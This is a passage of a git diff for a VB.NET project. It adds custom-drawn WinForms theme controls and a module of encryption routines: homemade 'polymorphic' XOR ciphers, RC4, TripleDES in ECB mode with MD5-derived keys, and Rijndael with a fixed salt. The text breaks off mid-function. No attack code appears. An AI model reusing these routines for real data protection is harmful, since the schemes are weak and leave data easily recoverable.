initial commit
This commit is contained in:
i2p
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,370 @@
|
||||
Imports System.Drawing.Drawing2D
|
||||
'Controls created by Aeonhack
|
||||
'http://www.youtube.com/aeonhack
|
||||
Public Class Draw
|
||||
Shared Sub Gradient(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer)
|
||||
Dim R As New Rectangle(x, y, width, height)
|
||||
Using T As New LinearGradientBrush(R, c1, c2, LinearGradientMode.Vertical)
|
||||
g.FillRectangle(T, R)
|
||||
End Using
|
||||
End Sub
|
||||
Shared Sub Blend(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal c3 As Color, ByVal c As Single, ByVal d As Integer, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer)
|
||||
Dim V As New ColorBlend(3)
|
||||
V.Colors = New Color() {c1, c2, c3}
|
||||
V.Positions = New Single() {0, c, 1}
|
||||
Dim R As New Rectangle(x, y, width, height)
|
||||
Using T As New LinearGradientBrush(R, c1, c1, CType(d, LinearGradientMode))
|
||||
T.InterpolationColors = V : g.FillRectangle(T, R)
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
'Pearl Theme
|
||||
Public Class PTheme : Inherits Control
|
||||
Private _TitleHeight As Integer = 25
|
||||
Public Property TitleHeight() As Integer
|
||||
Get
|
||||
Return _TitleHeight
|
||||
End Get
|
||||
Set(ByVal v As Integer)
|
||||
If v > Height Then v = Height
|
||||
If v < 2 Then Height = 1
|
||||
_TitleHeight = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _TitleAlign As HorizontalAlignment
|
||||
Public Property TitleAlign() As HorizontalAlignment
|
||||
Get
|
||||
Return _TitleAlign
|
||||
End Get
|
||||
Set(ByVal v As HorizontalAlignment)
|
||||
_TitleAlign = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
|
||||
Dock = 5
|
||||
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
|
||||
MyBase.OnHandleCreated(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
|
||||
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
|
||||
End If : MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
G.Clear(Color.FromArgb(245, 245, 245))
|
||||
|
||||
Draw.Blend(G, Color.White, C2, C1, 0.7, 1, 0, 0, Width, _TitleHeight)
|
||||
|
||||
G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(_TitleHeight / 2))
|
||||
G.DrawRectangle(New Pen(Color.FromArgb(100, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2)
|
||||
|
||||
Dim S = G.MeasureString(Text, Font), O = 6
|
||||
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
|
||||
If _TitleAlign = 1 Then O = Width - S.Width - 6
|
||||
G.DrawString(Text, Font, New SolidBrush(C3), O, CInt(_TitleHeight / 2 - S.Height / 2))
|
||||
|
||||
G.DrawLine(New Pen(C3), 0, _TitleHeight, Width, _TitleHeight)
|
||||
G.DrawLine(Pens.White, 0, _TitleHeight + 1, Width, _TitleHeight + 1)
|
||||
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
Public Class PButton : Inherits Control
|
||||
Sub New()
|
||||
ForeColor = C3
|
||||
End Sub
|
||||
Private State As Integer
|
||||
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
|
||||
State = 1 : Invalidate() : MyBase.OnMouseEnter(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
State = 2 : Invalidate() : MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
|
||||
State = 0 : Invalidate() : MyBase.OnMouseLeave(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
State = 1 : Invalidate() : MyBase.OnMouseUp(e)
|
||||
End Sub
|
||||
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
If State = 2 Then
|
||||
Draw.Gradient(G, C2, Color.WhiteSmoke, 1, 1, Width, Height)
|
||||
Else
|
||||
Draw.Gradient(G, Color.WhiteSmoke, C2, 1, 1, Width, Height)
|
||||
End If
|
||||
|
||||
If State < 2 Then G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(Height * 0.3))
|
||||
|
||||
Dim S = G.MeasureString(Text, Font)
|
||||
G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - S.Width / 2, Height / 2 - S.Height / 2)
|
||||
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
Public Class PProgress : Inherits Control
|
||||
Private _Value As Integer
|
||||
Public Property Value() As Integer
|
||||
Get
|
||||
Return _Value
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
_Value = value : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _Maximum As Integer = 100
|
||||
Public Property Maximum() As Integer
|
||||
Get
|
||||
Return _Maximum
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
If value = 0 Then value = 1
|
||||
_Maximum = value : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Dim V As Integer = Width * _Value / _Maximum
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
Draw.Gradient(G, C2, C1, 1, 1, Width - 2, Height - 2)
|
||||
G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3)
|
||||
Draw.Gradient(G, C1, C2, 2, 2, V - 4, Height - 4)
|
||||
|
||||
G.FillRectangle(New SolidBrush(Color.FromArgb(50, 255, 255, 255)), 2, 2, V - 4, CInt(Height / 2) - 2)
|
||||
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
'Modern Theme
|
||||
Public Class MTheme : Inherits Control
|
||||
Private _TitleHeight As Integer = 25
|
||||
Public Property TitleHeight() As Integer
|
||||
Get
|
||||
Return _TitleHeight
|
||||
End Get
|
||||
Set(ByVal v As Integer)
|
||||
If v > Height Then v = Height
|
||||
If v < 2 Then Height = 1
|
||||
_TitleHeight = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _TitleAlign As HorizontalAlignment = 2
|
||||
Public Property TitleAlign() As HorizontalAlignment
|
||||
Get
|
||||
Return _TitleAlign
|
||||
End Get
|
||||
Set(ByVal v As HorizontalAlignment)
|
||||
_TitleAlign = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
|
||||
Dock = 5
|
||||
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
|
||||
MyBase.OnHandleCreated(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
|
||||
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
|
||||
End If : MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
Dim C1 As Color = Color.FromArgb(74, 74, 74), C2 As Color = Color.FromArgb(63, 63, 63), C3 As Color = Color.FromArgb(41, 41, 41), _
|
||||
C4 As Color = Color.FromArgb(27, 27, 27), C5 As Color = Color.FromArgb(0, 0, 0, 0), C6 As Color = Color.FromArgb(25, 255, 255, 255)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
G.Clear(C3)
|
||||
|
||||
Draw.Gradient(G, C4, C3, 0, 0, Width, _TitleHeight)
|
||||
|
||||
Dim S = G.MeasureString(Text, Font), O = 6
|
||||
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
|
||||
If _TitleAlign = 1 Then O = Width - S.Width - 6
|
||||
Dim R As New Rectangle(O, (_TitleHeight + 2) / 2 - S.Height / 2, S.Width, S.Height)
|
||||
Using T As New LinearGradientBrush(R, C1, C3, LinearGradientMode.Vertical)
|
||||
G.DrawString(Text, Font, T, R)
|
||||
End Using
|
||||
|
||||
G.DrawLine(New Pen(C3), 0, 1, Width, 1)
|
||||
|
||||
Draw.Blend(G, C5, C6, C5, 0.5, 0, 0, _TitleHeight + 1, Width, 1)
|
||||
|
||||
G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight)
|
||||
G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
Public Class MButton : Inherits Control
|
||||
Sub New()
|
||||
ForeColor = Color.FromArgb(65, 65, 65)
|
||||
End Sub
|
||||
Private State As Integer
|
||||
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
|
||||
State = 1 : Invalidate() : MyBase.OnMouseEnter(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
State = 2 : Invalidate() : MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
|
||||
State = 0 : Invalidate() : MyBase.OnMouseLeave(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
State = 1 : Invalidate() : MyBase.OnMouseUp(e)
|
||||
End Sub
|
||||
Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _
|
||||
C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
If State = 2 Then
|
||||
Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2)
|
||||
Else
|
||||
Draw.Gradient(G, C3, C2, 1, 1, Width - 2, Height - 2)
|
||||
End If
|
||||
|
||||
Dim O = G.MeasureString(Text, Font)
|
||||
G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - O.Width / 2, Height / 2 - O.Height / 2)
|
||||
|
||||
Draw.Blend(G, C4, C5, C4, 0.5, 0, 1, 1, Width - 2, 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
Public Class MProgress : Inherits Control
|
||||
Private _Value As Integer
|
||||
Public Property Value() As Integer
|
||||
Get
|
||||
Return _Value
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
_Value = value : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _Maximum As Integer = 100
|
||||
Public Property Maximum() As Integer
|
||||
Get
|
||||
Return _Maximum
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
If value = 0 Then value = 1
|
||||
_Maximum = value : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _
|
||||
C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Dim V As Integer = Width * _Value / _Maximum
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2)
|
||||
G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3)
|
||||
Draw.Gradient(G, C3, C2, 2, 2, V - 4, Height - 4)
|
||||
|
||||
G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1)
|
||||
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
'Electron Theme
|
||||
Public Class ETheme : Inherits Control
|
||||
Private _TitleHeight As Integer = 25
|
||||
Public Property TitleHeight() As Integer
|
||||
Get
|
||||
Return _TitleHeight
|
||||
End Get
|
||||
Set(ByVal v As Integer)
|
||||
If v > Height Then v = Height
|
||||
If v < 2 Then Height = 1
|
||||
_TitleHeight = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Private _TitleAlign As HorizontalAlignment = 2
|
||||
Public Property TitleAlign() As HorizontalAlignment
|
||||
Get
|
||||
Return _TitleAlign
|
||||
End Get
|
||||
Set(ByVal v As HorizontalAlignment)
|
||||
_TitleAlign = v : Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
|
||||
Dock = 5
|
||||
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
|
||||
MyBase.OnHandleCreated(e)
|
||||
End Sub
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
|
||||
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
|
||||
End If : MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
Dim C1 As Color = Color.FromArgb(0, 70, 114), C2 As Color = Color.FromArgb(0, 47, 78), C3 As Color = Color.FromArgb(0, 34, 57), _
|
||||
C4 As Color = Color.FromArgb(0, 30, 50)
|
||||
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
|
||||
End Sub
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
Using B As New Bitmap(Width, Height)
|
||||
Using G = Graphics.FromImage(B)
|
||||
G.Clear(C3)
|
||||
|
||||
Draw.Blend(G, C2, C3, C1, 0.5, 1, 0, 0, Width, _TitleHeight)
|
||||
|
||||
G.FillRectangle(New SolidBrush(Color.FromArgb(15, 255, 255, 255)), 1, 1, Width - 2, CInt(_TitleHeight / 2) - 2)
|
||||
G.DrawRectangle(New Pen(Color.FromArgb(35, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2)
|
||||
|
||||
Dim S = G.MeasureString(Text, Font), O = 6
|
||||
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
|
||||
If _TitleAlign = 1 Then O = Width - S.Width - 14
|
||||
Dim V = CInt(_TitleHeight / 2 - (S.Height + 4) / 2)
|
||||
|
||||
Draw.Gradient(G, C3, C2, O, V, S.Width + 8, S.Height + 4)
|
||||
G.DrawRectangle(New Pen(C3), O, V, S.Width + 7, S.Height + 3)
|
||||
|
||||
Dim R As New Rectangle(O + 4, CInt(_TitleHeight / 2 - S.Height / 2), S.Width, S.Height)
|
||||
Using T As New LinearGradientBrush(R, C1, C2, LinearGradientMode.Vertical)
|
||||
G.DrawString(Text, Font, T, R)
|
||||
End Using
|
||||
|
||||
G.DrawRectangle(New Pen(C1), 1, _TitleHeight + 1, Width - 3, Height - _TitleHeight - 3)
|
||||
|
||||
G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight)
|
||||
G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1)
|
||||
e.Graphics.DrawImage(B.Clone, 0, 0)
|
||||
End Using
|
||||
End Using
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,827 @@
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
|
||||
|
||||
Public Class Encryption_Algorithms
|
||||
Public Class PolyMorphicStairs
|
||||
Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
Array.Resize(Data, Data.Length + 1)
|
||||
Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255))
|
||||
For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1
|
||||
Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length)
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
|
||||
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
|
||||
Next
|
||||
Array.Resize(Data, Data.Length - 1)
|
||||
Return Data
|
||||
End Function
|
||||
End Class
|
||||
Public Shared Function Rc4(ByVal bytes() As Byte, ByVal key() As Byte) As Byte()
|
||||
Dim s(255) As Byte
|
||||
Dim i As Integer
|
||||
For i = 0 To s.Length - 1
|
||||
s(i) = CByte(i)
|
||||
Next
|
||||
Dim j As Integer
|
||||
For i = 0 To s.Length - 1
|
||||
j = (j + key(i Mod key.Length) + s(i)) And 255
|
||||
Dim temp As Byte = s(i)
|
||||
s(i) = s(j)
|
||||
s(j) = temp
|
||||
Next
|
||||
i = 0
|
||||
j = 0
|
||||
Dim output(bytes.Length - 1) As Byte
|
||||
Dim k As Integer
|
||||
For k = 0 To bytes.Length - 1
|
||||
i = (i + 1) And 255
|
||||
j = (j + s(i)) And 255
|
||||
Dim temp As Byte = s(i)
|
||||
s(i) = s(j)
|
||||
s(j) = temp
|
||||
output(k) = s((CType(s(i), Integer) + s(j)) And 255) Xor bytes(k)
|
||||
Next
|
||||
Return output
|
||||
End Function
|
||||
Public Shared Function PolyDec(ByVal Input As String) As String
|
||||
Dim Output As String = Nothing
|
||||
Dim SA() As String
|
||||
SA = Input.Split("|")
|
||||
For Each C As String In SA
|
||||
Try
|
||||
Output = Output & Chr(C - SA(0))
|
||||
Catch
|
||||
End Try
|
||||
Next
|
||||
Return Output.Remove(0, 1)
|
||||
End Function
|
||||
Public Shared Function PolyCrypt(ByVal Input As String) As String
|
||||
Dim Output As String = Nothing
|
||||
Dim R As New Random
|
||||
Dim O As Integer = R.Next(10, 99)
|
||||
Dim CA As Char()
|
||||
CA = Input.ToCharArray
|
||||
For Each C As Char In CA
|
||||
Try
|
||||
Output = Output & Asc(C) + O & "|"
|
||||
Catch
|
||||
End Try
|
||||
Next
|
||||
Return O & "|" & Output
|
||||
End Function
|
||||
Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
|
||||
Dim lonDataPtr As Long
|
||||
|
||||
Dim strDataOut As String = ""
|
||||
|
||||
Dim intXOrValue1 As Integer
|
||||
|
||||
Dim intXOrValue2 As Integer
|
||||
|
||||
Dim H As String = "&H"
|
||||
|
||||
For lonDataPtr = 1 To (Len(DataIn) / 2)
|
||||
|
||||
intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
|
||||
|
||||
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
|
||||
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
|
||||
|
||||
Next lonDataPtr
|
||||
|
||||
xEncryptionD = strDataOut
|
||||
|
||||
End Function
|
||||
Public Shared Function xEncryption(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
Dim lonDataPtr As Long
|
||||
Dim strDataOut As String
|
||||
Dim temp As Integer
|
||||
Dim tempstring As String
|
||||
Dim intXOrValue1 As Integer
|
||||
Dim intXOrValue2 As Integer
|
||||
For lonDataPtr = 1 To Len(DataIn)
|
||||
intXOrValue1 = Asc(Mid$(DataIn, lonDataPtr, 1))
|
||||
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
|
||||
temp = (intXOrValue1 Xor intXOrValue2)
|
||||
tempstring = Hex(temp)
|
||||
If Len(tempstring) = 1 Then tempstring = "0" & tempstring
|
||||
strDataOut = strDataOut + tempstring
|
||||
Next lonDataPtr
|
||||
xEncryption = strDataOut
|
||||
End Function
|
||||
Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
If d Then
|
||||
Dim hashmd5 = New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
End If
|
||||
Dim tdes = New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
Return UTF8Encoding.UTF8.GetString(resultArray)
|
||||
End Function
|
||||
Public Shared Function TripleDES(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
|
||||
Dim KeyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
|
||||
If useHashing Then
|
||||
Dim hashmd5 As New MD5CryptoServiceProvider()
|
||||
KeyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
|
||||
Else
|
||||
KeyArray = UTF8Encoding.UTF8.GetBytes(key)
|
||||
End If
|
||||
Dim TDES As New TripleDESCryptoServiceProvider()
|
||||
TDES.Key = KeyArray
|
||||
TDES.Mode = CipherMode.ECB
|
||||
TDES.Padding = PaddingMode.PKCS7
|
||||
Dim cTransform As ICryptoTransform = TDES.CreateEncryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||
End Function
|
||||
Public Shared Function Rijndael(ByVal File As String, ByVal Key As String)
|
||||
Dim oAesProvider As New RijndaelManaged
|
||||
Dim btClear() As Byte
|
||||
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
|
||||
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
|
||||
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
|
||||
Dim ms As New IO.MemoryStream
|
||||
Dim cs As New CryptoStream(ms, _
|
||||
oAesProvider.CreateEncryptor(), _
|
||||
CryptoStreamMode.Write)
|
||||
btClear = System.Text.Encoding.UTF8.GetBytes(File)
|
||||
cs.Write(btClear, 0, btClear.Length)
|
||||
cs.Close()
|
||||
File = Convert.ToBase64String(ms.ToArray)
|
||||
Return File
|
||||
End Function
|
||||
Public Class PolyMorphic
|
||||
'Variable for the Key.
|
||||
Private sKey As String = ""
|
||||
'Property, will Give us acces to the key.
|
||||
Public Property Key() As String
|
||||
Get
|
||||
Return sKey
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
sKey = value
|
||||
End Set
|
||||
End Property
|
||||
'Inisalization. (New Constructor)
|
||||
Public Sub New(ByVal Key As String)
|
||||
Me.Key = Key
|
||||
End Sub
|
||||
Public Sub New()
|
||||
Me.Key = ""
|
||||
End Sub
|
||||
'This Will convert String to bytes,then call the other function.
|
||||
Public Function PolyCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'This one also Will convert String to bytes,then call the other function.
|
||||
Public Function PolyDeCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'Main PolyMorphic Encryption.
|
||||
Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
|
||||
'We declare a byte array, just one byte bigger then the data.
|
||||
Dim ReturnBuffer(Data.Length) As Byte
|
||||
'we assain The first one with a random byte.
|
||||
ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
|
||||
'now for each byte in data
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
'we add the previous byte to the next byte Mod 256. the first byte is random,
|
||||
'so will will get random bytes all the way.
|
||||
ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
|
||||
Next
|
||||
'We Call the Selected Encryption to crypt the randomized Data.
|
||||
Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
|
||||
End Function
|
||||
'Main PolyMorphic Decryption.
|
||||
Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
|
||||
'This Function is the exact reverse of the crypt function.
|
||||
'we should Decrypt to get our last randomized data.
|
||||
Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
|
||||
'Now in the other function the return value is a one byte bigger array. lets remove that one
|
||||
Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
|
||||
'we started from Byte n# 0 to the last one. we'll play it reversed now.
|
||||
For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
|
||||
'We just remove The previous byte value from the current one Mod 256. simple
|
||||
ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
|
||||
Next
|
||||
'That's it. The Buffer is one byte less then the data. Perfect. Return it.
|
||||
